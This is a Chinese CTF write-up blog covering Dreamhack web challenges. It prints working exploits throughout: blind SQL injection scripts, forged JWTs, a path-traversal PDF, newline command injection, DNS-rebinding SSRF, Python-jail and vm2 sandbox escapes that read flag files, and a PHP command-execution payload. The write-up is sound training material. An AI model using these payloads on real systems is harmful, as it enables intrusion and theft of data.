mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
4219 字
12 分钟
ChaoMixian-WriteUp-20260201
2026-02-01

What time is it?#

题目使用f"{username}.{created_at * 2026}"来作为session,但是在/welcome里,任何用户都可以得知admin的created_at的UTC时间,转为timestamp就可以获得admin的session。

from datetime import datetime, timezone
time_str = "26/01/2026, 08:18:02 UTC"
dt = datetime.strptime(time_str, "%d/%m/%Y, %H:%M:%S UTC")
dt = dt.replace(tzinfo=timezone.utc)
timestamp = int(dt.timestamp())
print("admin." + str(timestamp*2026))

flag

DH{It_is_time_t0_s1eep~_~}

22 - SQL Injection Blind#

题目提示#

  • FLAG exists in adminadmin’s password
  • Why is this being used twice?

源码审计#

/search 路由存在SQL注入:

q2 = q + q # 输入被重复两次
sql = f"SELECT id, username FROM users WHERE username='{q2}'"

“Why is this being used twice?”

22_repeat

数据库中用户名都是名称的重复,注入的查询语句也会被重复。不过还是可以布尔盲注的。

Payload结构

' OR [condition] AND '1'='1

重复后

' OR [condition] AND '1'='1' OR [condition] AND '1'='1

最终SQL

WHERE username='' OR [condition] AND '1'='1' OR [condition] AND '1'='1

可以看到,第一位单引号与最后一位1闭合了,所以并不影响盲注,并且:

  • 条件为真 → 返回所有用户(包括adminadmin)
  • 条件为假 → No results

Exploit#

import requests
import urllib.parse
BASE_URL = "http://host1.dreamhack.games:23244"
TARGET_URL = f"{BASE_URL}/search"
def check_char(pos, ascii_val):
condition = f"ASCII(SUBSTRING((SELECT password FROM users WHERE username='adminadmin'),{pos},1))={ascii_val}"
payload = f"' OR {condition} AND '1'='1"
params = {'q': payload}
try:
response = requests.get(TARGET_URL, params=params, timeout=5)
if '<li>' in response.text and 'adminadmin</li>' in response.text:
return True
except requests.exceptions.RequestException as e:
print(e)
return False
def exploit():
print("[+] 22...")
flag = ""
for pos in range(1, 100):
found_at_pos = False
for ascii_val in range(32, 127):
if check_char(pos, ascii_val):
char = chr(ascii_val)
flag += char
print(f" [Pos {pos}] 匹配成功: '{char}' -> Current Flag: {flag}")
found_at_pos = True
break
if not found_at_pos or flag.endswith('}'):
break
print(f"\n[!] FLAG: {flag}")
if __name__ == "__main__":
exploit()
# [!] FLAG: DH{Here_Is_FLAG!_Here_Is_FLAG!}

Here, my seat (여기, 내 자리)#

Description#

When they take a seat at a cafe, they put up their bags or cell phones.

Even after going to the bathroom for a while, if something is there, the seat still looks like the owner is there.

However, Kim Bo-san doesn’t make any trouble and changes the item to his own.

“Here is my place.”

分析#

看到有chromium基本上就是XSS了。

审计代码,流程是 /login登陆,如果是admin,拿到session后访问/flag就能获取flag。

BASE = "http://localhost:5050"
target = BASE + raw_path # 这个raw_path是通过path参数传入的,可控的
login_url = BASE + "/login?id=admin&password=[FAKE_PASSWORD]"
driver.get(BASE + "/")
driver.get(target)
time.sleep(5)
driver.get(login_url)
time.sleep(1)

分析这个流程发现,它需要先xss再访问登陆网页。

@app.get("/login")
def login():
sid = request.cookies.get(COOKIE_NAME)
userId = request.args.get("id", "")
password = request.args.get("password", "")
print(f"sid:{sid}, userId:{userId}, password:{password}")
resp = make_response(jsonify(ok=True))
with _lock:
# 下面这个sha256_hex我改过了,不然admin也没法登录
if userId == "admin" and sha256_hex(password) == "f2a9786fd090a2ddc191e3ab443d718c23f34ccf7be485a83ef54c3b48ccd5cc":
if (not sid) or (sid not in _store):
sid = newSid()
_store[sid] = {"role": "admin"}
else:
sid = newSid()
_store[sid] = {"role": "guest"}
resp.set_cookie(COOKIE_NAME, sid, httponly=True, path="/")
return resp

分析这个login路由,看到resp.set_cookie(COOKIE_NAME, sid, httponly=True, path="/"),也就是说SESSION并没有和id对应,只是有一个映射关系,那么思路就是先让bot把COOKIE_NAME设置为我的sid就可以了。

哦对了hackbar测试xss的时候要取消勾选cookie…

先登陆,我的sid是sKkQf9nxUeVEnIh-PfgTaHzdG-BAcJwB

http://host3.dreamhack.games:23604/xss?payload=

http://host3.dreamhack.games:23604/admin?path=/xss?payload=

local

本地通了,远端no response。无语了,这是什么情况??我可以怀疑是靶机炸了吗?

remote

好的就是靶机炸了

Please Don’t Forget#

BASE = Path(__file__).resolve().parent
STORAGE = BASE / "storage"
BOT = BASE / "backend" / "bot.py"

woc这是什么语法,自定义运算符吗?python每天都给我惊喜。

BASE = Path(__file__).resolve().parent
STORAGE = BASE / "storage"
FRONT = BASE / "frontend"
INTERNAL = "http://127.0.0.1:5006"
ENV_PATH = BASE / "credit"
def read_env_value(key: str):
if not ENV_PATH.exists():
return None
for line in ENV_PATH.read_text(errors="ignore").splitlines():
line = line.strip()
if not line or line.startswith("#") or "=" not in line:
continue
k, v = line.split("=", 1)
if k.strip() == key:
return v.strip().strip('"').strip("'")
return None
@app.get("/flag")
def flag():
role = read_env_value("ROLE")
if role != "admin":
return jsonify({"ok": False, "error": "forbidden"}), 403
flag_value = os.getenv("FLAG", "DH{FAKE-FLAG}")
return jsonify({"ok": True, "flag": flag_value})

先大体审计一下,需要拿到adminrole

这个internal确实是没有export的,只能通过uploader访问。然后会读取ENV_PATH,默认这个creditROLE=guest,检查一下有没有修改它的东西。

# 这个在5006端口
@app.post("/process/<n>")
def p(n):
pdf = STORAGE / secure_filename(n)
if not pdf.exists():
return jsonify({"error": "not found"}), 404
r = subprocess.run(
["python", str(BOT), str(pdf)],
capture_output=True, text=True
)
if r.returncode != 0:
return jsonify({"error": r.stderr}), 500
return r.stdout, 200, {"Content-Type": "application/json"}
import fitz, subprocess, sys, json
from pathlib import Path
pdf = Path(sys.argv[1]).resolve()
out = Path(__file__).parent / "extracted" / pdf.stem
out.mkdir(parents=True, exist_ok=True)
doc = fitz.open(str(pdf))
names = doc.embfile_names()
doc.close()
res = []
for i, n in enumerate(names):
o = out / f"file_{i}"
p = subprocess.run(
[sys.executable, "-m", "pymupdf", "embed-extract",
str(pdf), "-name", n],
capture_output=True,
text=True
)
res.append({"name": n, "ok": p.returncode == 0, "out": str(o), "stderr": p.stderr})
print(json.dumps({
"pdf": str(pdf),
"count": len(names),
"names": names,
"results": res
}, ensure_ascii=False))

看到这个bot.py的命令拼接那么就考虑命令注入了。好奇怪的调用链啊:

uploader:5005[POST:/process/<n>] -> internal:5006[POST:/process/<n>] -> exec:bot.py -> exec:pymupdf
[sys.executable, "-m", "pymupdf", "embed-extract", str(pdf), "-name", n]

由于只能上传pdf,这里猜测是需要构造特别的文件名。先去看看pymupdf的手册.

好的不用找了,AIKIDO-2025-10959: PyMuPDF is vulnerable to Path Traversal in versions 0.23.0 - 1.26.6. 再去看一眼requirements.txt,刚好是1.26.6,结合描述:Please Don't Forget 2025 😔😔。那一定是这个路径穿越了。修改../credit

这个真好,还有tldr😄

Affected versions of this package are vulnerable to Path Traversal because the embedded_get functionality does not properly sanitize the user-controlled path parameter. This allows an attacker to craft a path containing directory traversal sequences, potentially causing files to be written outside the intended working directory or to overwrite existing files. The issue is mitigated by introducing stricter path validation: by default, the command now refuses to write to an existing file or to any location outside the current directory. Writing outside these constraints is only possible when explicitly allowed via the -output option or the newly introduced -unsafe flag, making the security impact opt-in and explicit.

好的那exp就是:

import fitz
doc = fitz.open()
doc.new_page()
doc.embfile_add(
"private/credit", # 内部检索名,用它来目录穿越。
# 这个路径要看仔细啊,前面就觉得这个调用链很绕,pwd是/app
b"ROLE=admin", # 文件内容
)
doc.save("exploit.pdf")

注意一下路径

local

注意一下穿越的路径就可以了。 remote

Gyul Login#

Description#

Yet another login challenge!

Flag format is B1N4RY{(hex string, lowercase)}.

思路#

看到数据库了,考注入吗?

@app.route("/login",methods=['POST'])
def login():
banned_word=['from', 'where', 'insert', 'update', 'delete', 'join', 'substr', 'concat', 'table', 'database', 'schema', 'if', 'order', 'group', 'by', 'limit', 'offset', 'exists', 'between', 'regexp', 'binary', 'file', 'not', 'rlike', 'left', 'right', 'mid', 'lpad', 'rpad', 'char', 'user', 'version', 'session', 'sleep', 'benchmark', 'hex', 'base64', '0x', "x'",'x"','admin']
banned_letter='+-*/=:;<>.?!\\$%^~`'
username=request.form.get('username')
password=request.form.get('password')
for word in banned_word:
if (word in username.lower()) or (word in password.lower()):
return render_template('index.html',message='No Hack~ ^_^')
for i in range(0,len(banned_letter),1):
letter=banned_letter[i]
if (letter in username.lower()) or (letter in password.lower()):
return render_template('index.html',message='No Hack~ ^_^')
query=f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
print(query,flush=True)
user=None
try:
connection=db_connection()
cursor=connection.cursor()
cursor.execute(query)
user=cursor.fetchone()
cursor.close()
connection.close()
except:
user=None
finally:
if user and user[1]=='admin':
return render_template('login.html',username=user[1],success=SECRET)
elif user:
return render_template('login.html',username=user[1],success='')
else:
return render_template('index.html',message='Invalid User ID or Password.')

那目标就是SECRET。要满足user and user[1]=='admin'

init.sql有一行注释掉的-- INSERT INTO users (username,password) VALUES ('admin','**admin_password**');,不过呢还是考虑拼接出admin。

REVERSE('nimda')REPLACE('xdmin','x','a')应该都可以的吧。

payload:

' union select 1,reverse('nimda'),2#

或者

' union select 1,replace('bdmin','b','a'),2#

local_first hyw

Hello,admin
Flag is Rootsquare's password.

何意味?没有FROM,考虑盲注

尝试 Rootsquare' AND password LIKE '{test_str}'#

结合提示,Flag format is B1N4RY{(hex string, lowercase)}.

import requests
url = "http://host1.dreamhack.games:16746/login"
alphabet = "0123456789abcdef{}_"
def check(payload):
data = {"username": payload, "password": "any"}
r = requests.post(url, data=data)
return "Invalid" not in r.text
length = 0
for i in range(7): # 2^6 = 64
bit = 1 << i
if check(f"Rootsquare' AND (LENGTH(password) & {bit})#"):
length |= bit
print(f"Password Length: {length}")
flag = ""
for i in range(length):
for char in alphabet:
# 构造类似 'flag' + 'a' + '____' 的结构
underscores = "_" * (length - len(flag) - 1)
test_str = flag + char + underscores
if check(f"Rootsquare' AND password LIKE '{test_str}'#"):
flag += char
print(f"Current Flag: {flag}")
break
# Current Flag: b1_4__{c29663c034fcefabe09d7c1af064caea}
B1N4RY{c29663c034fcefabe09d7c1af064caea}

log in#

Description#

总是,总是看到的平凡的登录页面。

审计#

def get_login_user():
try:
with open("log.txt", "r", encoding="utf-8") as f:
for line in reversed(f.readlines()):
line = line.strip()
if line.startswith("user="):
username = line[len("user="):].strip()
if username=="None":
return None
return username
except FileNotFoundError:
return None
return None

这个函数从 log.txt 文件读取最后一行的 user=xxx 来确定当前登录用户,那么就是需要写入[换行]user=admin

pyjail部分用php洗了一遍输入

<?php
$data = '';
if ($_SERVER['REQUEST_METHOD'] === 'GET'){
$data = $_GET['text'] ?? "Error: 'text' variable not found in GET body.";
}
echo $data;
?>

好烦人啊,这Chrome一直在发这个东西,还是用Python发吧

INFO:werkzeug:192.168.97.1 - - [30/Jan/2026 10:35:02] "GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1" 404 -

试了Origin等等,都不好使,就 /%0auser=admin%0a 通过了。挺好的,%0a换行。 user=admin RCE部分的php涉及到请求参数污染,payload如下

?text=1&text=PAYLOAD
- Flask 解析出 '1' (通过校验)
- PHP 解析出 'PAYLOAD' (返回 Python)

当请求是 ?text=1&text=PAYLOAD 时,Flask 的 MultiDict 解析机制默认获取第一个匹配的值,然后 request.query_string.decode() 会将原始查询字符串一模一样发给 php,然而 PHP 处理 $_GET[] 的标准行为是,当 URL 中存在同名参数时,取最后一个出现的值

pyjail部分套公式,循环查找到os就可以rce了。

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('cat /app/flag.txt').read()

pyjail

最终payload:

/calc?text=1&text=[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('cat /app/flag.txt').read()

ABN Gallery#

简单审计一下源码,应该是ssrf+域名@绕过(其实不是)

本地尝试了以下几个,最后发现这个东西本地测不来,直接开靶机吧。

http://localhost:3000/fetch?url=http://chaomixian.top:80@localhost:3000/admin?log=../../flag
http://localhost:3000/fetch?url=http://127.0.0.1.xip.io:3000/admin?log=../../flag

试了一下这个,居然不行,提示permission denied

http://host3.dreamhack.games:16450/fetch?url=http://127.0.0.1.xip.io:3000/admin?log=../../flag

那就很奇怪了,照理说域名没错了啊。然后仔细审计代码,发现他这个hostIsPublic函数居然会验证dns是不是公网…那就是要dns重绑定了,找到一个能用的试试看:

http://host3.dreamhack.games:16450/fetch?url=http://7f000001.08080808.rbndr.us:3000/admin?log=../../flag

先解析到8.8.8.8,通过公网检测;然后解析到127.0.0.1,完成ssrf。

DH{7hANks_f0r_vI5i71nG_7he_9A11ery:eYOZ2k6PBbcixMZOy+bbXQ==}

Internal Secret#

审计代码,发现存在ssrf+host检测,最后是去 SQLi。

SSRF部分#

urlparse 与 requests 对 @ 符号解析存在差异 先来看这个payload:

http://example.com%2f@redirector:8081

urllib.parse.urlparse (配合 unquote),#

优先寻找第一个 斜杠 /。%2f在 web.py 中先被 unquote 还原为 /,导致解析器认为 Host 已结束,判定为 example.com

requests (及其底层 urllib3)#

优先寻找 @ 符号。使用原始字符串,%2f 被视为普通字符,不会触发路径分隔。认为 Host 是 redirector:8081

诶,刚刚好绕过了全部检查,同时完成了ssrf。所以:

ssrf_url = "http://example.com%2f@redirector:8081/redir?to=http://internalapi:8081/admin/flag"

SQLi部分#

cur.execute(f"SELECT ev, job, info, t FROM audit ORDER BY {order} DESC LIMIT 80")

/audit接口会返回jobs信息,可以 ORDER BY 注入进行布尔盲注。不过输出都是固定的,唯一可以操控的就是输出列表的顺序,考虑通过正反排序来确认语句的返回值。

order_payload = f"t*(CASE WHEN (SELECT result FROM jobs WHERE id='{job_id}') LIKE '%{current_guess}%' THEN 1 ELSE -1 END)"

当然需要先创建一个job。exp的思路就是第一次先读取返回json的第一项的t参数,如果匹配到了,就是正序,也就是真,否则就是逆序,假。需要注意exp跑的时候不要再创建job,不然会有奇奇怪怪的问题😭。

bad_flag

另外还有一个坑点,因为LIKE是不区分大小写,字符集的顺序其实也相当重要。因为注出来的完整数据是有污染的,大概长这样(其实这里诡异的大小写已经埋下伏笔了):

coDe_200_HeaDers_{_server____werkzeug_3_1_5_pytHon_3_11_14____Date____sat__31_jan_2026_04_56_45_gmt____content_type____application_json____content_lengtH____26____connection____close_}_boDy_snippet_{_flag___DH{__flag__}_n_}_

我为了直接抓到flag部分,把DH放到了开头,字符集是 charset = "DH{}" + string.ascii_letters + string.digits + "-_",好家伙,当时给我注出来一个DH{25af4e05De78012985212b55},交了不对又注了好几次,怎么也没想到坑在这里😭

qwq

诶,下一题吧…

MemoVault#

Description#

Your notes aren’t as private as they seem 🔍

审计#

(给了docker-compose.yml的题目都是好题目😭,讨厌Dockerfile)

看着应该是考 jwt,毛估估是改HS256利用对称性,就可以通过公钥签名了。简单看了一眼/profile有sql拼接,嗯。

之前遇到jwt题目都是去jwt.io和站长之家的那个工具生成,但是这个网页会强制规范,要是有点不合规的操作会自动纠正。再者如果是线下断网比赛,那就用不了了。所以这回学一下python相关的操作吧。

def _verify_and_decode_eddsa(token):
if not token:
raise InvalidTokenError("missing token")
header_b64 = token.split('.')[0]
padding = '=' * (-len(header_b64) % 4)
header_bytes = base64.urlsafe_b64decode(header_b64 + padding)
header = json.loads(header_bytes)
alg = header.get("alg", "EdDSA")
pubkey = read_key(PUBLIC_KEY_PATH)
if isinstance(pubkey, bytes):
pubkey = pubkey.decode("utf-8")
return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())
def _get_token_from_request():
token = request.cookies.get("token")
if not token:
auth = request.headers.get("Authorization", "")
if auth.lower().startswith("bearer "):
token = auth.split(" ", 1)[1].strip()
return token
def _verify_token(token):
if not token:
raise InvalidTokenError("missing token")
pubkey = read_key(PUBLIC_KEY_PATH)
if isinstance(pubkey, bytes):
pubkey = pubkey.decode("utf-8")
return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())

对的对的啊,algorithms=jwt.algorithms.get_default_algorithms()肯定包含HS256啊。

呃呃呃,要装PyJWT,不是jwt,呃呃呃。嗯?

(ctf) MemoVault python exp.py
Traceback (most recent call last):
File "/Users/chao/ctf/Dreamhack/MemoVault/exp.py", line 19, in <module>
fake_token = jwt.encode(payload, public_key_content, algorithm="HS256")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/api_jwt.py", line 153, in encode
return self._jws.encode(
^^^^^^^^^^^^^^^^^
File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/api_jws.py", line 183, in encode
key = alg_obj.prepare_key(key)
^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/algorithms.py", line 346, in prepare_key
raise InvalidKeyError(
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

呃呃呃要装2.3的PyJWT,不然会拒绝生成😭(题目附件也是这个版本)

pip uninstall PyJWT
pip install PyJWT==2.3

先去/static/ed25519_public.pub把公钥下下来。

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl

好的看看SQLi怎么做。

cur.execute(f"SELECT id, content FROM notes WHERE owner_id = {uid} ORDER BY id DESC LIMIT 50")

结合schema.sql和seed.sql可以直接确定flag的位置,那么uid注入为0 UNION SELECT 1, value FROM flags就可以了

exp如下:

import jwt
public_key_content = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl"
# 原始查询: SELECT id, content FROM notes WHERE owner_id = {uid} ...
# 注入后: SELECT ... WHERE owner_id = 0 UNION SELECT 1, value FROM flags ...
injection_payload = "0 UNION SELECT 1, value FROM flags"
payload = {
"uid": injection_payload,
"uname": "admin",
"iat": 1700000000,
"exp": 1900000000
}
# 使用 HS256 算法,密钥为公钥内容
fake_token = jwt.encode(payload, public_key_content, algorithm="HS256")
print(f"Cookie: token={fake_token}")

local remote

HTTP File Reader#

解题#

居然是go吗。呃呃呃呃看着像SSRF+命令注入,有挺大一串regex,还有回环检测,估计要用dns重绑定?或者302?

var banned = regexp.MustCompile(`(?i)(flag|[\@\$\*\{\!\?\.\%\;\|\"\'\#\^\&\(\)\+\=\<\>\\])`)
cmd := exec.Command("sh", "-c", "cat " + filename)

估计是要vps搞302了。何意味,vps咋登不上去了😭

from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def exploit():
# 这里填入 Payload
return redirect('http://127.0.0.1:8080/api/read?filename=/etc/passwd')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

passwd ok那确实是302,/etc/passwd能够读到了,需要读/flag.txt,既然给到了一个shell环境,那估计是要到sh的特性。

[]是在的,可以用fl[a]g绕过flag的过滤,但是它ban掉了.,这个怎么都弄不出来。考虑使用反引号执行命令作为cat的参数,不过都没有成功。不过一些特殊符号比如换行符%0A,依然会有奇效。考虑到没有通配符,需要一个能递归遍历并且打印文件的程序,find做不到后者【这是错误的】,但是grep可以。

这里只需要发送/etc/passwd\ngrep -rIs DH /就可以注入命令,并不需要; | &,相当于是回车↩︎了。因为后端使用的Gin框架会自动进行url decode,把%0A解码为\n

grep -rIs DH /-r是递归,-I是忽略二进制文件,-s是静默模式(忽略permission denied报错)。已知flag头是DH,从/开始递归搜索。

所以最后执行的命令就是:

cat /etc/passwd
grep -rIs DH /

payload如下。注意url编码,/etc/passwd%0Agrep%20-rIs%20DH%20%2f

from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def exploit():
payload = "/etc/passwd%0Agrep%20-rIs%20DH%20%2f"
target_url = f'http://127.0.0.1:8080/api/read?filename={payload}'
print(f"[+] Redirecting target to: {target_url}")
return redirect(target_url)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

remote woc好有意思

补兑,好像是非预期😳#

看了一下别人的wp,都是用dns重绑定+专用字符集😨

啊啊啊我怎么记得冒号是被过滤了啊😭,怎么现在再看就没了…

标准payload应该是

curl -X POST http://host3.dreamhack.games:18327/request -d 'host=8efaca0e.7f000001.rbndr.us&port=8080&path=/api/read?filename=/fl[a]g[[:punct:]]txt'

hyw

补兑,这也可以?😳#

::ffff:127.0.0.1 8080 /api/read?filename=%0acat%20/fl[a]g[[:graph:]]txt hywhyw 这是CVE-2024-24790

啊这😨#

host=::ffff:127.0.0.1&port=8080&path=%2Fapi%2Fread%3Ffilename=%60find%2520/%2520-maxdepth%25201%2520-type%2520f%60

也就是两层url编码,原始payload是:

host=::ffff:127.0.0.1&port=8080&path=/api/read?filename=`find / -maxdepth 1 -type f`

不是,哥,,,不是,,,,,啊?因为/下只有一个flag.txt-type f的吗😭 hywhywhyw

啊啊这?#

/[f]lag[--0]txt这是什么原理,我尝试了/[f]lag[-0]txt,何意味何意味何意味😭 hywhywhywhyw

啊啊啊这??😨#

/api/read?filename=/fla[g]`head+-c1+/dev/urandom`txt

无敌了无敌了无敌了无敌了,这个是最无敌的

head -c1 /dev/urandom

呜呜呜🥹,人家打ctf是抽卡游戏😭。

啊啊啊啊啊?😭😭😭#

/fla`echo -n g``tail -c 1 files/cat`txt

原来题目给的cat、dog是真的有用的啊😭

A cat is a small, furry animal often kept as a pet, known for its playful and independent nature.
It has sharp claws, keen senses, and is loved for being both affectionate and curious.

我真的有想过这种方法,但我找的是/etc/profile的倒数第5行的第五个符号,根本构造不出来😭

怎么还有用cp的😭#

cp /f[l]ag[[:print:]]txt hello

DEvELOPmENT A Casino#

看到 RS256HS256 字样了,考虑jwt修改alg,泄露公钥等等。 啊这,vm2,前几天好像爆了个cve,这题目应该很老的吧,,,

本地没有公钥私钥,算了,直接开环境吧。

/helpsign 泄露公钥

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAkyYHw5C+jPvJh47IMAD6
ukm9/EEuMy3CksWmHthRsOnQrRrbAWMrRYeKw7FPu05+PHeCa4/ElcONV8hY5DO4
LKxaQd/bb3vvvLIw+ihdKnRvxXcNm7cD1X9x6U2DMIuVfywhiE84WkAn7KQQz9W3
YAYFtr3SI4Cpg42slWVP6hAZ+x0hOC8QmvaVWzDak+Kl1oUbEq8PJ0xzrG1qziXV
37Bp3y1EeVdyX/tF7oMN1Gwsf6V5VtYEsfSyWYH8nDpBYQVzx+m4c4z4qWz/hxlb
/34jPmWdtk2gTdokmCeT8xTxieZ/s2WlirpxMieeJ/XAH2CuF/a1AhNF2jsbTVZu
wQIDAQAB
-----END PUBLIC KEY-----

PyJWT死活不允许生成,还是太安全了。让ai手搓了一个自动base64+计算签名的脚本。然后手动替换cookie,,,却发现没用?好奇怪啊,一刷新cookie就重置了。估计有什么没注意到的js,暂时先不管了,因为curl带个Authorization就没问题了。

结果这个vm2还真是什么都没有,把sandbox.balance暴露出来了,参考示例就能修改余额。

# 登录vip账号
curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" http://host3.dreamhack.games:16525/api/me
# {"user":{"uid":"chao","role":"vip","iat":1700000000,"exp":1800000000}}
# 修改余额
curl -s -X POST \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" \
-H "Content-Type: application/json" \
-d '{"code":"sandbox.balance=1000000;return sandbox.balance;"}' \
http://host3.dreamhack.games:16525/api/strategy/run
# {"result":{},"logs":[],"finalBalance":1000000,"spins":[]}
# 买flag
curl -s -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" http://host3.dreamhack.games:16525/api/shop/flag
# {"message":"플래그를 구매했습니다.","flag":"DH{Thank_you_for_saving_my_life}","balance":0}

不过呢,我想玩玩CVE-2026-22709,需要vm2 <= 3.10.0,好的刚好是”vm2”: “3.9.17”。

来一个poc

const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});

不过有个黑名单 const blackList = /\brequire\b|\bprocess\b|\bchild_process\b|\bfs\b/;

curl -s -X POST \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" \
-H "Content-Type: application/json" \
-d '{"code":"const error = new Error();error.name = Symbol();const f = async () => error.stack;const promise = f();promise.catch(e => {const Error = e.constructor;const Function = Error.constructor;const f = new Function("process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })");f();});"}' \
http://host3.dreamhack.games:16525/api/strategy/run
curl -s -X POST \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" \
-H "Content-Type: application/json" \
-d '{"code":"const _call = Function.prototype.call;Function.prototype.call = function(...args) {_call.apply(console.log, ["[+] Intercepted call from host!"]);return _call.apply(this, args);};Promise.resolve().then(() => {});"}' \
http://host3.dreamhack.games:16525/api/strategy/run

好像跑不通啊。

看别人的wp,发现确实有用沙箱逃逸的:

const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const p=args.constructor.constructor("return pro"+"cess")();
const f=p.mainModule["req"+"uire"]("f"+"s");
const flag=f.readFileSync("/app/flag.txt", "utf-8");
throw p.mainModule["req"+"uire"]("f"+"s").writeFileSync("/app/html/index.html",flag).toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}

卧槽还真看见一个赌怪😱:

import requests
from requests.adapters import HTTPAdapter
from concurrent.futures import ThreadPoolExecutor
import time
U = 'http://host8.dreamhack.games:12523/'
s = requests.Session()
s.mount('http://', HTTPAdapter(pool_connections=100, pool_maxsize=100, max_retries=0))
s.cookies.set('auth', s.post(f'{U}/api/login/guest').json()['token'])
def spin():
try: return s.post(f'{U}/api/spin', json={'bet': 1}, timeout=3).json()
except: return {}
bal, rnd = 100, 0
while bal < 1000000:
with ThreadPoolExecutor(max_workers=100) as e:
[f.result() for f in [e.submit(spin) for _ in range(200)]]
bal = s.get(f'{U}/api/balance').json()['balance']
rnd += 1
if rnd % 20 == 0: print(f'R{rnd}: {bal:,}')
if rnd % 10 == 0: time.sleep(0.1)
print(s.post(f'{U}/api/shop/flag').json()['flag'])

这疯狂赌也只要20分钟…


[Web] signin#

$blacklist = ['/', 'convert', 'base', 'text', 'plain'];

php伪协议用不了了,那就data伪协议+反引号命令执行 signin

/?file=data:,<?=`$_GET[1]`;&1=cat /flag

[Web] Markdown2world#

world? word? wod? wd? w?

文档格式转换器
使用 Pandoc 在多种文档格式之间快速转换

上网搜一下Pandoc cve,还真有一个ssrf。CVE-2025-51591。很不幸,不是。而是Pandoc的任意文件读取。感觉也不算漏洞吧…就是很常见的markdown资源引用啊。

![exploit](/etc/passwd)
![flag](/flag)
![flag.txt](/flag.txt)
~~我也不知道是哪个,反正都写也无所谓~~

markdown2word 上传这个exp.md,转为docx,下载下来docx重命名为zip,解压后去word/media下就能看见拉出来的资源了。

I really really really(&Revenge)#

考NFKC,前几天N1CTF刚出过题,只不过是php。诶是不是UniCTF刚出过python的NFKC。

Fuzz一下#

().__class__.__base__.__subclasses__
Ahhh... I know what you want to do with "_". It is pretty boarding stuff. Could you find some another character representing it?
__import__: '︳︳ᵢᵐᵖºʳᵗ︳︳'
Result: Ahhh... I know what you want to do with "︳". It is pretty boarding stuff. Could you find some another character representing it?
You cannot use "getitem", it will too easy for you i guess ;

47

a=True.real
b=a+a
c=b+b
d=c+c
e=d+d
f=e+e
assert False,f+d+c+b+a
# 47
# f: 102
# l: 108
# a: 97
# g: 103

reduce_ex

a=True
b=False
c=a.real
d=c+c
g=()._﹍reduce_ex_﹍(d)
h=g._﹍getitem_﹍(c)
assert b,h
a=True
b=False
c=a.real # 1
d=c+c
g=()._﹍reduce_ex_﹍(d)
h=g._﹍class_﹍(c)
assert b,h
a=True
b=False
c=a.real
d=c+c
g=()._﹍reduce_ex_﹍(d)
h=g._﹍iter_﹍()._﹍next_﹍()
i=h._﹍next_﹍()._﹍iter_﹍()
assert b,i._﹍next_﹍()
a=True
b=False
c=a.real
d=c+c
h=()._﹍𝓬𝓵𝓪𝓼𝓼_﹍
i=h._﹍𝓫𝓪𝓼𝓮_﹍
